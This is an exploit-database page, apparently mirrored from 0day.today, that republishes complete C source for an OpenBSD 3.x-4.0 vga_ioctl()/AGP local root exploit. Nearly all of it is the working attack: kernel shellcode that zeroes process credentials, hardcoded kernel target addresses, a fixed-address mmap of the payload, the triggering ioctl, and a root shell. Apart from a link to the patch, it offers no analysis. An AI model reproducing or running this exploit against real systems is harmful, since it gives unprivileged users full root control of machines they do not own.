Lucene search
K

OpenBSD 3.x - 4.0 vga_ioctl() Local Root Exploit

🗓️ 07 Jan 2007 00:00:00Reported by Critical SecurityType 
zdt
 zdt
🔗 0day.today👁 24 Views

OpenBSD vga_ioctl() Local Root Exploit is available, fix at ftp://ftp.openbsd.org/pub/OpenBSD/patches/4.0/i386/007_agp.patch. Critical Security discovered bug, Lithuania, 2007

Code
================================================
OpenBSD 3.x - 4.0 vga_ioctl() Local Root Exploit
================================================


/* 

Critical Security OpenBSD 3.x-4.0 vga_ioctl() root exploit 

Bug had been discovered by allmighty Ilja van Sprundel (ilja.netric.org) 
Some code had been stolen from noir's openbsd exploit sources 

Fix is available: 
ftp://ftp.openbsd.org/pub/OpenBSD/patches/4.0/i386/007_agp.patch 

Critical Security [http://www.critical.lt], Lithuania, Vilnius, 2007 

Linkejimai neegzistuojancio fronto kariams ;] 
*/ 

#include <sys/param.h> 
#include <sys/ioctl.h> 
#include <sys/syscall.h> 
#include <sys/agpio.h> 
#include <unistd.h> 
#include <err.h> 
#include <fcntl.h> 
#include <stdlib.h> 
#include <sys/types.h> 
#include <sys/stat.h> 
#include <sys/mman.h> 
#include <sys/sysctl.h> 

#define TARGET1 "\x51\x47\x48\xd0"  /* 0xd0484751 obsd 4.0 generic i386*/ 
#define TARGET2 "\xa9\x42\x10\xd0"  /* 0xd01042a9 obsd 3.9 generic i386*/ 

char shellcode[]= 
"\x18\x00\x00\x00" 
"\x18\x00\x00\x00" 
"\x18\x00\x00\x00" /* some crap */ 
"\x18\x00\x00\x00" 
"\x18\x00\x00\x00" 

"\x18\x00\x00\x00" /* jmp 0x00000018 */ 

"\xe8\x0f\x00\x00\x00\x78\x56\x34\x12\xfe\xca\xad" 
"\xde\xad\xde\xef\xbe\x90\x90\x90\x5f\x8b\x0f\x8b" /* p_cred & u_cred shellcode */ 
"\x59\x10\x31\xc0\x89\x43\x04\x8b\x13\x89\x42\x04" 

"\xb8\x51\x47\x48\xd0" 
"\xff\xe0"; 

void usage() 
{ 
printf("Usage: crit_obsd_ex target\n\n"); 
printf("valid targets:\n"); 
printf("(1)\tobsd 4.0 generic i386\n"); 
printf("(2)\tobsd 3.9 generic i386\n\n"); 
exit(0); 
} 

void get_proc(pid_t pid, struct kinfo_proc *kp) 
{ 
   u_int arr[4], len; 

        arr[0] = CTL_KERN; 
        arr[1] = KERN_PROC; 
        arr[2] = KERN_PROC_PID; 
        arr[3] = pid; 
        len = sizeof(struct kinfo_proc); 
        if(sysctl(arr, 4, kp, &len, NULL, 0) < 0) { 
                perror("sysctl"); 
                printf("this is an unexpected error, rerun!\n"); 
                exit(-1); 
        } 
} 

int main(int ac, char *av[]) 
{ 
        int i; 
        void *p; 
        int fd,failas; 
        u_long  pprocadr; 
        struct kinfo_proc kp; 

printf("\n+--------------------------------------------+\n"); 
printf("|     Critical Security local obsd root      |\n"); 
printf("+--------------------------------------------+\n\n"); 

if (ac<2) usage(); 
if(atoi(av[1])==1) 
{ 
for(i=0;i<4;i++)shellcode[61+i]=TARGET1[i]; 
} 
else if(atoi(av[1])==2) 
{ 
for(i=0;i<4;i++)shellcode[61+i]=TARGET2[i]; 
} 
else {usage();} 

        get_proc((pid_t) getpid(), &kp); 
        pprocadr = (u_long) kp.kp_eproc.e_paddr; 

        shellcode[24+5] = pprocadr & 0xff; 
        shellcode[24+6] = (pprocadr >> 8) & 0xff; 
        shellcode[24+7] = (pprocadr >> 16) & 0xff; 
        shellcode[24+8] = (pprocadr >> 24) & 0xff; 

        printf("[~] shellcode size: %d\n",sizeof(shellcode)); 

        fd=open("/tmp/. ", O_RDWR|O_CREAT, S_IRUSR|S_IWUSR); 
        if(fd < 0) 
                err(1, "open"); 

        write(fd, shellcode, sizeof(shellcode)); 
        if((lseek(fd, 0L, SEEK_SET)) < 0) 
                err(1, "lseek"); 

        p=mmap(0, sizeof(shellcode), PROT_READ|PROT_EXEC, MAP_FIXED, fd, 0); 
        if (p == MAP_FAILED) 
        err(1, "mmap"); 

        printf("[~] map addr: 0x%x\n",p); 
        printf("[~] exploiting...\n"); 
        failas = open(AGP_DEVICE, O_RDWR); 
        syscall(SYS_ioctl, failas, 0x80044103, NULL); 

        close(failas); 
        close(fd); 

        seteuid(0); 
        setuid(0); 
        printf("[~] uid: %d euid: %d gid: %d \n", getuid(), geteuid(),getgid()); 
        execl("/bin/sh", "cyber", NULL); 

}




#  0day.today [2018-02-18]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Jan 2007 00:00Current
6.8Medium risk
Vulners AI Score6.8
24